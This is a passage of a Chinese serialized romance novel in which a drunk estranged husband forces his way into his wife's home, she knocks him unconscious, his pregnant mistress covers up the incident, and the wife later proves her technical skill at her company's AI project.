听见两人的名字,江容川面色一沉,一杯接一杯地猛灌着酒。
看他喝得这么猛,薛从眉头紧锁,啧舌道:“你这是怎么了?喝这么猛,不要命了?”
“别废话!陪我喝。”
江容川眼底布满了红血丝,一杯接一杯地继续猛喝。
薛从看到这一幕,讪笑道:“我可不敢这么喝。”
他倒了一杯酒,轻抿了一口,侧目看向周慎,眼中闪过一抹狐疑。
只见江容川侧脸紧绷,眼睛充血,脸色铁青,一副兴致阑珊的模样。
“你别喝那么多了,不在意自己的身体,也要注意孕妇啊,宋妘妘的肚子那么大,你也是马上要做爹的人了,不把人放心尖上捧着。还整天摆着个臭脸,不知道的还以为那孩子不是你的种呢。”
无意的一句话,就像是一把手术刀,精准地戳中了他心底最隐秘的痛处。
江容川的动作一顿,脸上的表情一僵,指节分明的手因用力捏着酒杯而泛白。
“不会被我说中了吧?”薛从面色难堪,看着江容川的反应,感觉仿佛闯下了弥天大祸。
“你在胡说什么?”江容川声音低沉,把酒杯重重地摔在了桌子上,发出一声沉闷的声音。
“我当然在胡说,这不是看你心情不好吗?不过为什么呢?宋妘妘怀有身孕,听说你们
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好事将近,为什么还如此愁闷?”
因为只有江容川知道宋妘妘肚子里的孩子不是他的。
他心里憋着一股怒火,薛从不说也罢,说了,让他那股怒意无从发泄,只能憋在心里,脸色铁青。
一想到宋妘妘那张脸,他心里的无名火更是猛猛往上窜,特别是看着她日渐大起来的肚子,更像是一根刺,扎进了他的心里,让他觉得憋屈和愤怒。
他又给自己倒了一杯酒,咕咚咚一饮而尽。
薛从赶紧拉住了他:“别喝了,这样喝酒伤身体!”
江容川不管他,继续倒酒,继续喝。
薛从叹了口气,看江容川这样,应该是为情所伤。
“你是不是后悔给纪安澜下药了?”
当初,就是江容川让薛从想法子从医院搞到的药,她妻子在医院工作,轻而易举地便能拿到药。
他对此事绝口保密,当年因为怕江容川后悔,一直在旁边劝说,可根本没有用,那时江容川铁了心的要下药。
现在看他的反应,江容川怕他后悔了。
江容川面色越发阴沉,眼底阴郁的仿佛随时都能滴下水来。
他又猛灌了自己一杯酒。
薛从又试探性地问:“还是说你后悔把宋妘妘带回海澜湾了?”
这些话简直一语中的,像是一根根绵柔的刺,扎进了江容川的心里。
他又猛灌了两口酒。
薛从看不下去,赶紧拦住了他。
“别喝了,酒大伤身体,你不是最近还忙着跟周氏的合作吗?这么喝下去,命都没了,还怎么合作?”
江容川恢复了些理智,可胸口的烦闷又压不下去,脑海里全都是纪安澜那张脸。
他定定地看了薛从一眼,烦躁地拿起外套,向着门外冲了出去。
薛从不解地看着他,追出去叫了好几声,江容川也没有回头,他无奈地撇了撇嘴,叹了口气。
半山别墅。
纪安澜满身疲惫地躺在沙发上。
突然听见了急促的敲门声,心想,这么晚,谁来了?
她漫不经心地打开门,江容川突然扑了过来。
第68章 澜澜,我想你了
“澜澜。”
他的声音含糊不清,身上裹挟着满身的酒味,温热的鼻息喷薄在她的颈窝。
纪安澜感觉浑身一麻,一把将他推开。
“江容川,别来我这里耍酒疯!”
说着,就要把人推出去。
骨节分明的手按住了门框,纪安澜的力气比不过他。
他竟硬生生地将门给掰开了。
“你到底想干什么?”
纪安澜紧皱着眉,眼底是毫不掩饰的嫌恶。
“我想你了。”江容川一边说着,一边再次扑了过来。
纪安澜愣了一瞬,没有来得及闪躲,被他箍在了怀里。
江容川的力气极大,紧紧抱着她,纪安澜感觉骨头被他勒得生疼。
“江容川,你放开我!”
纪安澜拼命挣扎,大声怒斥。
可如今的江容川神志不清,眼神迷醉,完全是醉酒状态,紧抱着纪安澜,整张脸埋在她的脖颈处,灼热的呼吸喷洒在她的颈窝。
纪安澜只觉得胃里一阵翻滚,浑身都在抗拒江容川的触碰。
“江容川,你放开我!你已经签了离婚协议,说好了要离婚的!你再这样,我要报警了!”
眼见着挣脱无用,纪安澜又气又急,扯着嗓子怒吼着。
“离婚?”听见这两个字,江容川才有了反应,双手按着纪安澜的肩膀,醉眼惺忪,漆黑的眸子泛着一丝偏执。
“我不要跟你离婚!”
“纪安澜,你是我的!”
“这辈子就只能属于我一个人!”
看着那张日思夜想的脸近在咫尺,江容川眼神越发迷醉,俯身而下,眼看着唇就要附上纪安澜的脸颊。
纪安澜瞳孔骤缩,瞪大眼睛,不可置信地看着江容川的动作。
他要干什么?
打算亲她?
江容川这是疯了吗?
而就在此时,周慎也来到半山别墅,手里面拿着一份加急的项目计划书。
见门虚掩着,推门走了进来。
正好看到了这一幕。
两人举止亲密,上还扔着江容川的西服,此刻,他扑在纪安澜身上,虽然看不清动作,不过用脚都能想到,他此刻在做些什么。
他的脚瞬间顿住,漆黑的眸子泛着一丝冷芒,捏着文件的手用力收紧,指节泛白。
挂着笑的脸上瞬间蒙上了一层寒霜,目光冷冷地扫着江容川的背影,依稀还能看到他身前纪安澜那娇小的身影,和胡乱伸出来的手。
眼底的怒火将要溢出,周慎冷冷地站在那里,周身笼罩着冷冽的寒气,他强压制着心里的怒火,没有上前阻止。
只是眼睛里多了一抹嘲弄。
纪安澜口口声声要跟他划清界限,转头却跟江容川不清不楚。
原来不是口中的为了他,而是因为心里还放不下江容川。
垂眸看着手里连夜为他做的计划书,周慎唇角溢出一丝自嘲的笑。
他的这些努力,在纪安澜看来,像是一场天大的笑话吧。
骨节分明的手紧捏着文件,眼底的光瞬间黯淡下去,只剩下了一片死寂。
冷漠地扫了一眼江容川的背影,他转过身,离开了半山别墅。
脚步声很轻,像是从来都没有出现过。
背影落寞如孤月一般。
他走路带着一股劲风,门被轻轻关上。
听见关门声,纪安澜焦急地别过头,朝着门口看去,眼底多了一抹期盼。
可大门紧闭,这么晚了,根本就不会有人来救她。
心里再次泛起了一丝绝望,纪安澜的心口一紧。
与其期待着别人来救她,倒不如自救!
逼迫自己冷静下来,纪安澜深吸了几口气。
纪安澜心里着急,视线无意中扫到了玄关上的一个青铜摆件。
那是上次在街上淘回来的,拿在手心里,分量不轻。
眼看着江容川就要亲下来。
纪安澜抄起青铜摆件,用尽全身的力气,狠狠地朝着他的后脑勺砸了下去。
“啊!”
只听见一声杀猪般的嚎叫。
江容川的动作戛然而止。
感觉他手上的力道一松,纪安澜立刻向后退了一步,警惕地看着他。
江容川只觉脑袋昏沉,后脑勺一阵钝痛,眼底的醉意褪去了几分,手下意识地摸向了后脑勺。
手心里全都是黏腻的感觉,他眼中多了一丝茫然,看着手上的血渍。
纪安澜眼中闪过一抹慌乱。<
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br>江容川喉结微动,张了张嘴,似乎想说些什么,突然身体一软,直接摔倒在地,发出了一声闷响,失去了意识。
大口地喘着粗气,纪安澜身子踉跄着后退了两步,直到后背抵着冰冷的墙壁,纪安澜这才勉强站稳。
垂眸看了一眼倒地不起的男人,目光冷冷,着一丝慌乱。
该不会**吧?
纪安澜被这个念头吓了一跳,赶紧上前,伸手在他鼻息下测了测。
还好,还有气。
纪安澜顿时松了一口气,身子无力地跌坐在地,手心里全是冷汗,指尖在颤抖。
额头上布满了细细密密的汗珠,胸口剧烈地起伏着,大脑一片空白。
刚才差点着了他的道。
纪安澜庆幸劫后余生。
目光冷冷地看着江容川的脸,眼底的厌恶将要溢出。
早知江容川卑劣,没想到他居然下作到这种地步!
今日若是被他得逞,就算是警察来了,也只是会判他婚内性骚扰,造不成实际性的伤害。
或许正是因为如此,他才有恃无恐。
看来,在离婚之前,一定要小心他!
纪安澜深吸了口气,努力压制着心口的慌乱,赶紧拨打了小区保安的电话。
不多时,两个保安急匆匆地赶了过来。
他们一看到江容川手上有血渍,都被吓了一跳,还以为出了人命,两人脸色唰的一下白了。
纪安澜陈声解释:“他只是晕过去了,没事。”
保安们松了口气。
纪安澜冷声道:“你们怎么能放一个喝酒的人进来?知不知道这会影响业主的人身安全?”
她也不想为难保安,可刚才惊吓过度,必须得让他们知道事情的严重性。
“这位先生说认识您,我们之前也见过,所以就……”
保安看纪安澜一脸惊慌,发丝凌乱,大概也明白了是怎么回事。
“抱歉,女士,为您带来了困扰。”
纪安澜摆了摆手,手指穿过发丝,冷声道:“你们把他拖出去!”
“是是是!”两个保安点头如啄米,立刻架起江容川往外走。
“从今日起,绝对不要让这个人再踏进小区一步!”
第69章 癞**想吃天鹅肉
“纪小姐,你放心,我们一定牢记这个人的脸,绝对不会让他再骚扰你!”
保安答应了一声,脸上赔着笑,两人七手八脚地把人架了出去。
纪安澜面色清冷,扫了一眼江容川,眼底嫌恶尽现。
砰的一声,将门关上。
靠在门板上,身体无力地滑坐在了地上,闭上眼睛,一脸的疲态。
到这一刻,手指依旧在发抖。
两个保安把江容川抬到了保安亭,两人叫了他好几声,江容川没有反应。
“还是等他酒醒以后,再把人赶走吧。”
外面天冷,把他直接扔出去,再把人冻坏了,那事情可就闹大了。
保安看了一眼一脸醉态的江容川,脸色潮红,衣衫凌乱,一看就是醉酒想要对纪安澜图谋不轨。
仔细看看江容川的脸,倒也白净,长得倒也算周正,没想到竟然是个色狼。
保安啧舌,掏出手机,给他拍了一张照片。
照片上的江容川四仰八叉地躺在保安亭的长椅上,看起来狼狈至极。
他冷笑着,随手发了个朋友圈。
——真是癞**想吃天鹅肉!大晚上地跑到半山别墅耍酒疯,不看自己配不配?也不知道这是谁的男朋友?谁的老公?
刚发出朋友圈,又收到了侄女的点赞。
保安的侄女看见照片上的江容川,眼睛一亮。
搭在江容川身上的西装,一看就价值不菲,身上穿着的衬衫也价格昂贵,这个角度看起来江容川虽然狼狈,但样貌极帅。
虚荣心作祟,她直接保存了照片,并发在了自己的朋友圈。
上面配文:哎!他又喝醉了,真拿他没办法,谁让是我男朋友呢,就得自己宠着。
小姑娘美滋滋地看着朋友圈,等着众人的夸赞。
可等来的却是母亲无比震惊的声音:“你照片哪来的?”
小姑娘的母亲不是别人,正是宋妘妘的保姆。
她刚工作完,掏出手机看了眼朋友圈,没想到居然刷到了江容川。
原以为看错了,打开仔细一看,那个醉得不省人事的男人,竟然真是江容川。
她心里一惊,立刻找到了女儿。
女儿被吓了一跳,赶紧把事情的来龙去脉告诉了她。
保姆立刻打电话给保安,得知江容川在半山别墅。
宋妘妘找人都快找疯了,现在把这个消息告诉给她,说不定还能得到奖励。
保姆立刻去找宋妘妘。
彼时,宋妘妘累了,敷着面膜,躺在沙发上。
听见身后传来急促的脚步声,眉头一皱,不耐烦地掀起眼皮:“谁呀?动作能不能轻一点?没看到我正准备休息?”
“少夫人,我知道江总的下落了。”
保姆兴冲冲地说着,把手机递了过去。
宋妘妘微微蹙眉,不悦地掀起眼眸,看了一眼手机。
她心想着,一个保姆怎么会知道江容川的下落?
“我是无意间看到朋友圈才知道,原来江总去了半山别墅,喝醉了,现在正在半山别墅的保安亭里。”
半山别墅?
宋妘妘心头一震,脸色骤变。
那不是纪安澜住的地方吗?
江容川怎么会出现在那里?
看了保安的朋友圈,宋妘妘的脸色越发难看。
江容川大半夜地跑到半山别墅耍酒疯?还被纪安澜赶到了保安亭?
她不敢确信地点开照片,放大了看细节,确定照片上的人正是江容川后,脸色瞬间变得扭曲。
一把扯下脸上的面膜,甩在了地上。
她气得咬牙切齿。
又是纪安澜!
果然狗改不了吃屎!
她还以为江容川真的有什么要紧的事情要做,没想到居然是去找那个女人了!
宋妘妘怒火中烧,气得胸口剧烈地起伏着,脸上闪过一抹狞色,眼底满是怨毒。
“备车!去半山别墅!”
几乎是从牙缝里挤出几个字,宋妘妘怒不可遏。
保姆看着她气愤的模样,小声劝说:“少夫人,听说您还怀着孕,不能着急,要不还是派人去接江总回来吧?”
“我是少夫人还是你是少夫人?”宋妘妘冷冷地瞪着她,厉声呵斥:“以后我说什么就是什么,再敢说废话!立刻卷铺盖走人!”
保姆被吓得不敢再说话,立刻扭头去安排。
宋妘妘深吸了口气,柳眉紧皱,怒气冲冲地上了车,车子快速疾驰在路
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上,直奔半山别墅。
路上,她打了好几个电话,都无人接听。
看来是江容川故意把手机关机了。
宋妘妘咬紧下唇,面色难看至极。
好你个江容川!刚答应让她入住海澜湾成为纪安澜人,后脚就去找纪安澜!此事要是传出去,她的脸往哪搁?
她一定会成为全城的笑柄!
想到这里,宋妘妘怒斥道:“开快点!别磨磨蹭蹭的。”
不多时,车子停在了半山别墅的保安亭。
宋妘妘快速下了车,踩着高跟鞋,挺着孕肚来到保安亭。
咚咚咚——
司机敲了敲门,保安将门打开。
一股难言的味道扑面而来,宋妘妘嫌弃地捏着鼻子,视线不悦地朝着里面看。
只见保安亭的长椅上,一个衣衫褴褛的男人正在呼呼大睡。
那个男人不是别人,正是江容川。
看到他这副狼狈的模样,宋妘妘眼底划过一抹嫌弃,心里觉得丢人。
“还愣着干什么?赶紧把人带上车去!”
宋妘妘尖利的嗓音响彻了整个保安亭。
司机一听,立刻动手。
两个保安也赶紧帮忙,很快地便把人挪上了车。
宋妘妘风风火火地来到车前,狠狠剜了一眼躺在后车座上的江容川。
砰的一声,车门被关上。
她转过头,目光冷冷地扫了两个保安一眼。
“谁发的朋友圈?”冷冽的声音带着质问,仿佛淬了冰。
一个保安站了出来,面色难堪:“我……”
他张嘴想要解释。
宋妘妘厉声道:“赶紧把朋友圈删了,还有照片也全都删了!”
保安被吓了一跳,不敢有任何耽搁,打开手机,立刻删除了朋友圈,还有那张照片。
做完一切后,把手机亮给她看。
宋妘妘面色阴沉,声音冷到极致:“今天晚上的事情,谁要是传出去,后果自负!”
话音刚落,又命令司机:“给他们点钱打发了。”
司机立刻掏出现金,递给二人。
宋妘妘声音冰冷,狠狠瞪着两人:“记住,你们从没见过他,否则此事一旦传出,会把你们告得倾家荡产!”
第70章 后天就离婚!
两位保安点头如啄米,手里紧紧攥着现金,保证对此闭口不谈。
宋妘妘冷漠地扫了二人一眼,转身上了车。
车子疾驰在路上,很快地消失在夜色里。
“这位到底是什么人啊?看样子脚踏两条船。”
其中一个保安忍不住吐槽。
另一个保安赶紧捂住他的嘴。
“管他什么人呢,我们只管拿钱办事,管好自己的嘴巴就行,小心祸从口出!”
海澜湾。
司机把江容川放到了沙发上,保姆想过来帮忙,却被宋妘妘一个眼神吓得退了回去。
阔大的一个客厅,只剩下了两个人。
听见他均匀的呼吸声,嘴里似乎在嘟囔着什么。
“澜澜……”
宋妘妘凑近一听,脸色骤变,立刻变成了猪肝色。
就算喝醉了,江容川对那个女人还是念念不忘。
她到底哪里好?
宋妘妘怒不可遏地皱着眉头,还来不及起身,男人一把搂住她的脖子,一股强大的力道下,她被拥入怀中,鼻息间充斥着浓烈的酒味,宋妘妘眼底划过一抹嫌恶。
“澜澜,别走!”
男人的鼻息喷薄在脖颈处,惹得身上一阵酥麻,她刚有些感觉,他的嘴里却叫着别的女人的名字。
宋妘妘挣扎着推开了他。
看他还醉着,气得拿枕头砸了他一下。
江容川睁开醉眼惺忪的眸子,迷迷糊糊地看着面前模糊的人影,嘴里念叨着:“澜澜,我们不离婚,你不要赶我走好不好?”
闻言,宋妘妘的脸色越发难看。
江容川起身,伸手按住了宋妘妘的肩膀,眼神迷醉,眼底满是贪恋,微微伏下身,就要吻她。
宋妘妘的声音冰冷刺骨,刻意拔高了音量:“江容川,你睁开眼睛看看我到底是谁?”
听见宋妘妘的声音,江容川浓眉紧皱,突然意识到什么,揉了揉眼睛。
在看清面前的人不是纪安澜时,眼底划过一抹失望,手指立刻松开了她。
他的酒醒了大半。
看着江容川的反应,宋妘妘满眼失落,忍不住冷笑:“你把我当成谁了?”
“没有。”江容川淡淡地吐出两个字。
“那你刚刚一直在叫纪安澜的名字?”宋妘妘气不打一处来,声音越发的尖锐,语气里充满了质问。
“不要胡说!”江容川还没有完全清醒,只觉脑袋混沌,浓眉微皱,声音冰冷。
“胡说?”宋妘妘掏出手机,亮从保安侄女那保存的照片,递到他面前,冷声质问:“那这是什么?怎么会出现在半山别墅?”
“你前脚刚从海澜湾走,后脚就出现在半山别墅,你别说是去那里办公事,那里住着谁,你我心知肚明!”
江容川脸色微变,扫了一眼照片。
脑海里充斥着在半山别墅的回忆,想到纪安澜的抗拒,脸色瞬间变得难看。
纪安澜不仅拒绝了他,甚至还把他打晕了。
这时,才感觉后脑勺一阵疼痛。
手下意识地摸向伤口处,冰凉而又黏腻的感觉在指尖蔓延。
低头一看,手上全都是血渍。
宋妘妘看到血渍,心里一惊,立刻拽住了他的手。
“这是怎么回事?你受伤了?”
江容川一把甩开她的手:“不用你管。”
他心里窝着火,一想到纪安澜如今的态度,他心里很不是滋味。
从前纪安澜明明那么爱他,如今对他还不如对一个陌生人。
浓眉紧皱,江容川面色阴沉,脸阴郁得仿佛随时都能滴下水来。
看着江容川冷峻的脸,宋妘妘眼底的担忧褪去,转化成了愤怒。
亏她还那么担心江容川,没想到他的眼里、心里只有纪安澜。
“江容川,从今天起,你最好跟纪安澜划清界限!”
顿了一下,她声音冷到极致:“要是你再跟纪安澜不清不楚,那我立刻打掉肚子里的孩子!”
江容川掀启眼眸,眼底一片凌厉。
视线落在了宋妘妘的腹部,眼底翻涌着难言的情绪。
他对这个孩子丝毫不在乎,反正是别人的种,就算没了也无所谓。
之前不过就是为了江老爷子手里的那比财产。
可现在江老爷子把那些东西全给了纪安澜,这个孩子,留着或者没了,于他而言再无任何意义。
宋妘妘继续威胁:“你不仅会失去这个孩子,就连周家也会跟你切断关系!”
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这句威胁,才像是一把精准的手术刀,直接插入了他的命脉。
江容川掀启眼眸,目光落在宋妘妘认真的脸上。
他可以失去孩子。
但绝对不能失去周家的助力。
更何况,现在所有的人都以为宋妘妘肚子里的孩子是他的,如果这时她打掉孩子,肯定会传出些许绯闻,那些丑闻对**不利。
若是因此影响了跟周家的合作,更是得不偿失。
江容川的脸色铁青,眉头紧锁,眼底翻涌着怒火。
他最讨厌被人威胁。
不过今天确实是他喝酒误事。
对于宋妘妘的威胁,他无话可说。
宋妘妘满意地看着他的表情,唇角微勾,眼底满是得意。
她知道如何拿捏住面前的男人,只要手握周家的资源,和肚子里的孩子,那江容川永远都逃不出她的手掌心。
眼见着江容川脸色越发难看,宋妘妘坐在沙发上,手覆在了他的手背上,声音放柔和了些:“容川,我都是为了你好,只有我是最爱你的,也只有我能帮你把事业更进一步。”
“纪安澜除了会抢夺你的资源,她还能做什么?”宋妘妘反问,她心疼地帮江容川理着额前的发丝,握着他的手,沉声道:“眼下那个女人风评正差,你得赶紧跟她**,正好摆脱她,省得别人说三道四!”
江容川眼底翻涌着忽明忽暗的光,似乎还在犹豫。
宋妘妘趁热打铁,继续说道:“纪氏如今受影响,股票大跌,肯定撑不了多久了,难道你还想让**受到那个女人的影响?”
江容川的面色一沉,漆黑的眸子泛着一丝冷芒。
沉默半晌,他冷声道:“后天我就去**。”
闻言,宋妘妘眼中一亮,迅速隐下眼中惊喜,顺势说道:“那我跟你一起去民政局。”
江容川皱眉,眼底划过一抹不悦:“你去干什么?”
“当然是跟你领结婚证啊。”宋妘妘勾了勾唇,眼底是隐藏不住的笑意。
“等你俩办了离婚证,我们顺道把结婚证领了,一举两得,不仅可以堵住悠悠众口,还可以顺道让纪安澜知道,没了她你会更好,这不是你想看到的吗?”
第71章 他不想离婚
他不想跟纪安澜离婚。
听着宋妘妘的话,他本应兴奋,可心里毫无波澜,看着那张谄媚的脸,江容川眼底划过一抹不易察觉的戾气。
现在他毫无选择的余地,只能答应宋妘妘。
掀开双眸,眼底的戾气褪去,取而代之的是一片冰冷,他淡然开口:“我知道了,后天,我们一起去民政局。”
听到满意的答案,宋妘妘眼前一亮,迅速上前挽住了他的胳膊。
江容川几不可察地皱了皱眉,站在原地,面色阴沉。
“容川,我就知道你会选择我!”她侧头紧贴着他的胳膊,动作亲昵,手扶在小腹上,自言自语:“等结婚以后,你就是我们母子俩的天,我会不遗余力地帮你,让**傲立群雄!”
江容川脸上没有多余的神情,静静地站在那里,心底没有半丝波澜。
脑海里一直浮现的是纪安澜那张清冷的脸,那副冷漠疏离的态度,让他耿耿于怀,久久不能忘记。
没想到,他们竟然还是走到了离婚这一步。
墨染的眸子沉了沉,垂眸看了一眼满脸幸福的宋妘妘,他的眼底多了一分冷意。
翌日。
纪氏集团AI项目研发部。
长桌上,纪安澜坐在主位,看了一眼交上来的数据报告,面色一沉。
一旁的女生兴高采烈介绍:“纪总,这是我们熬了一个大业跑出来的数据,您看看如何?”
仔细扫了一眼,纪安澜眉头越皱越紧。
表面上看起来,交上来的数据似乎没什么问题,可纪安澜一眼就发现其中的核心数据,似乎存在着很大的问题。
“这些数据有问题,拿回去重做。”
纪安澜声音仿佛淬了冰,把文件扔在了桌子上。
一旁的女生,也就是这一次的主要负责人王倩,脸色一变:“纪总,是不是看错了?”
纪安澜挑眉,冷声道:“你在质疑我?”
“不是质疑,而是我们一个数据组熬了整个通宵才弄出的数据,您随便看一眼,就说有问题?怎么让我们信服?”
她刻意地拔高音量,声音响彻了整个办公室。其他的人员听到这句话,也都纷纷附和。
“对啊,怎么能这么快就否定我们的成果?”
“感情熬夜的人不是她……”
“她到底懂不懂啊?该不会是鸡蛋里挑骨头,故意给我们下马威吧?”
众人的议论声颇大,像是故意说给纪安澜听的。
纪安澜冷冷地坐在主位上,眼神无波,平静地扫了他们一眼。
王倩见众人怒火正盛,顺势补刀:“纪总,我们大家伙都累着呢,您要是说不出哪里有错,我们就先回去补觉了,等您找到错处,再找我们来改吧。”
这话说得极其嚣张,还鼓动众人一起离开办公室。
纪安澜缓缓站起身,冷声问道:“你的意思是说,你找不到错处?”
王倩皱着眉头,一时间难以回答,怎么回答好像都不对。
纪安澜若真心找茬,没有错处,她也会硬说。
要是真的有错漏,她没有找到,恐怕这个饭碗就保不住了。
王倩大脑飞速运转,立刻回答:“我们项目组总共十余人,难道十个都顶不上纪总一个?我们可没有察觉到哪里有错处。”
最明智的做法就是拉众人下水。
就算纪安澜要给个下马威,也不可能把所有的人都开除吧?
她挑了挑眉,看着纪安澜,眼底多了一抹挑衅。
纪安澜冷笑,目光扫了一眼那十余人。
“你们呢?也觉得我是在找茬?”
众人立刻垂下头,不敢言语。
纪安澜厉声道:“我今日若是非要让你们找到错漏,并且修正,你们会怎么做?是打算回去补一觉,还是乖乖留下来工作?”
声音清亮,响彻了整个办公室。
那些低头的人面面相觑,面露难色,一时间不敢说话。
王倩见众人似乎有意打算加班,立刻站出来。
她余光瞥见桌子上的咖啡,端起咖啡,泼向了纪安澜。
“纪总,你这是在威胁我们吗?”
纪安澜完全没有反应过来,被泼了一脸的咖啡。
咖啡顺着发丝滴落,起来狼狈极了。
办公室里瞬间鸦雀无声,所有的人噤若寒蝉,瞪大眼睛,
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不可置信地看着这一幕。
王倩满不在乎,挑了挑眉。
她冷笑道:“既然纪总那么厉害,那你能找到错漏吗?要是你能找到,我就承认是我错了。”
顿了一下,她又说:“那如果纪总都找不到错漏,是应该向我们道歉?”
在王倩看来,纪安澜只是继承了纪氏,根本就什么都不懂,他们十几人都察觉不到的错漏,纪安澜能查出来才怪。
看着她一副得意洋洋的模样,纪安澜挑眉,冷声道:“好,那我们不如来打个赌。”
目光冷冷地瞥了一眼王倩,纪安澜沉声道:“我若是找不到,我立刻向你们道歉。”
“我若是找到,也不用承认错误了,直接离开纪氏,永不录用!”
一句话让在场的所有人都倒抽了一口凉气。
王倩也瞪圆了眼睛。
没想到纪安澜居然想要开除她。
果然是在找茬!
王倩心里愤愤不平,一想到纪安澜只是因为父母的原因继承了纪氏,心里越发地觉得不公平。
胸口剧烈地起伏着,王倩怒目圆瞪,应下了赌约:“好!那我就跟纪总赌一赌。”
“纪总打算花费多长时间找到错漏?一个星期?还是一个月?还是一年?”
这句话分明充满了嘲讽,王倩双手环抱于胸前,嘴角噙着一抹嘲弄的笑。
其他的人也觉得纪安澜会找人来测数据,等着看笑话。
“一个小时足以。”
纪安澜淡然地说明,所有的人都觉得纪安澜在吹牛,毕竟要在短时间内找到会看数据的人,不是一件容易的事。
他们可都是工作了十年甚至更久的老手,都没有发现其中有问题,纪安澜随便找到的人,又怎可能发现其中的问题?
本以为纪安澜会打电话,可谁知她要来了原文件,打开电脑,亲自操刀。
所有的人都露出了不可置信的表情,围了过去。
只见纪安澜轻松地敲击着键盘,指尖翻飞,每一个代码都精准无比,不出一个小时,找到了错漏。
“这……这不可能!”王倩惊讶地瞪圆眼睛,脸变成了猪肝色。
第72章 新的橄榄枝
办公室安静得有些诡异。
所有的人屏住呼吸,瞪大眼睛,不可置信地看着纪安澜。
都以为她在找茬,没想到仅用一个小时,他就找到了错漏。
这一过程都被他们看在眼中,他们发现,纪安澜用的算法,十分高级,不仅缩短时间,而且效率很高。
“你们不信可以算一遍。”
冷冷地瞥了一眼众人,纪安澜眼神无波。
众人呆愣在原地,完全没有反应过来。只有王倩迅速地冲到电脑前,不甘心地算了起来。
两个小时后,他脸色越发白了,瞬间血色尽失。
纪安澜算得没错,他们提交的数据果然出错了,且错得离谱,竟然相差20%。
“你……你怎么会这个?”
王倩不可置信。
他们所听说的纪安澜,是个不折不扣的恋爱脑,一心只扑在恋爱上,最近也不知道怎么转了性了,回头照顾纪氏,以前也不过是个想要嫁人生子的女人罢了。
“作为纪氏的负责人,我主修的当然是计算机。”
纪安澜淡漠地解释了一句。
至于她曾经获得过国际算法大奖的事,闭口不谈。
当了这么多年的江太太,所有人都忘了,她曾经也闪耀过。
“怎么样?”纪安澜眉峰微挑,视线落在了王倩脸上。
她脸色惨白,瘫软在椅子上,被震惊得无话可说。
看她如此,纪安澜冷冷地扫了一眼全场。
一字一句,字字清晰,带着不容人忽视的威严。
“这份文件不合格,拿回去重做,可有异议?”
掷地有声,所有人都服气了,偌大的一个办公室,落针可闻。
“而至于王倩,立刻逐出公司,即日起,永不录用!”
“不……不要!我不要离开公司!”王倩这才反应过来,猛地抬起头,迅速冲到纪安澜身边,央求道:“求你再给我个机会,我错了,我不该那么对你。”
纪安澜脸上还留着被泼的咖啡渍,神情淡然,眼神冰冷,“我们是打了赌的,在场所有人都是见证。”
众人窃窃私语,有些人觉得纪安澜做得太过了,实在是上纲上线。
“都是成年人了,每个人都应该对自己的行为负责,你既然敢打赌,就应该付出应有的代价。”
纪安澜微眯着眼睛,眼底透露着一股凉意。
如同一把锋利的利刃,冷冷地射向王倩。
“那是那是因为我不知道你会AI算法!”王倩觉得不公平:“你要是提前说,我肯定不会跟你打赌!”
她的情绪激动,扯着嗓子喊着,似乎要把所有的过错全都加在纪安澜的身上。
“你的意思是说,这一切都怪我?”纪安澜嘴角噙着一抹冷笑,仿佛听到了一个天大的笑话。
王倩摇了摇头,脸色难看,她不敢怪纪安澜,可不怪纪安澜,她又能怪谁呢?
好不容易爬到如今这个位置上,她才不想就这么被开除。要是传到外人耳中,那她以后就再也找不到好工作了。
“顶撞上司,不服管教,且煽动同事者,从今以后,下场跟她一样。”
纪安澜淡漠地扫了一眼众人,眼神越发冷冽,如同淬了冰一般,所有的人都噤若寒蝉,无一人敢发出声音。
纪安澜顿了一下又说:“但对公司有重大作为者,奖金翻倍,这一次AI项目,事关纪氏生死存亡,我不希望任何一个人掉链子,如果有人想偷奸耍滑,弄虚作假,现在趁早离开。”
话音刚落,又补充了一句:“我知道你们很累,今天可以休息一天,明天开始,我会持续跟进项目,只要达到我的目标,所有人奖金提成翻倍!”
话一说出口,原本员工们还有一些不满,他们瞬间眼睛都亮了。
没想到纪安澜竟然有如此大的魄力。
毕竟如今的纪氏摇摇欲坠,他们也只是做好本职工作,有了纪安澜这句话,一个个像是打了鸡血一样。
“纪总,我们一定会好好工作的!”
“您提出的问题,我们会改正!”
“今天我们不休息,我们要把这份文件改出来!”
面对他们的改变,纪安澜唇角微勾。
“不必,我已经改好了,剩下其他的细节,你们明天改就行,今天回去好好休息。”
话音刚落,众人欢
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呼。
王倩眼神落寞,脸色难看至极,央求的眼光看向纪安澜。
纪安澜淡然地瞥了她一眼,一言不发地离开了办公室。
两天后。
办公室里爆发出一阵热烈的欢呼。
“纪总,我们成功了!”
众人拿着文件找到纪安澜,满眼期待,心里还有点紧张。
纪安澜仔细看了一下文件,所有人屏住呼吸,生怕像上次一样出错。
看完后,纪安澜唇角上扬,目光扫了一眼众人,他们个个心如擂鼓,紧张得都有一点不敢呼吸。
“做得不错!”
此话一出,所有的人都兴奋地跳了起来。
“AI系统项目内测圆满成功!恭喜你们!”
他们加班加点,终于把这个项目搞出来了,每个人都热泪盈眶。
纪安澜看到他们一脸疲态,立刻说道:“你们所有项目组,自今日起,带薪休假两天,等项目上线,奖金翻倍!”
“纪总,你太好了!”
“我要在纪氏干一辈子!”
整个办公室里热闹非凡,所有的人脸上都洋溢着笑容。
纪安澜看着他们有干劲的模样,嘴角露出了欣慰的笑。
这才是第一步,后面还有更大的困难在等着他们。
这时,助理走进来,一脸兴奋:“纪总,有个自称国外神安集团的副总,说是有合作要跟您谈,说是要投资!”
神安集团?
纪安澜眼前一亮。
那可是国际顶尖科技的巨头,不仅实力雄厚,而且涉猎领域广泛,之前纪安澜曾考虑过尝试与神安集团合作,不过想想他们公司的状况,就打了退堂鼓。
没想到神安集团居然主动上门合作,这难道不是天上掉馅饼?
“快把人请到接待室,这就过去。”
纪安澜当机立断,快步走出了办公室。
这时,手机铃声突然响了。
低头一看,竟然是江容川打来的。
纪安澜皱眉接听,里面传来了他低沉,有些不耐烦的声音。
“你什么时候来?”
纪安澜愣了一瞬,这才想起来,今天是她跟江容川领离婚证的日子!
第73章 江太太的位置她今天必须拿到手
“不好意思,我临时有事耽搁了,你能等一个小时左右吗?”
离婚固然重要,但眼下最重要的还是纪氏。
一旦有了神安集团的投资,那她的对赌协议会更有胜算。
天上掉馅饼的好事,正好砸在她的头上,她岂有不吃的道理?
“好。”
电话那头的江容川声音,几不可察地愉悦了些,似乎还想要说些什么。
纪安澜迅速挂断电话,抬脚走进了接待室。
彼时,宋妘妘皱着眉头,看着江容川。
“她怎么说?怎么到现在还没有来?”
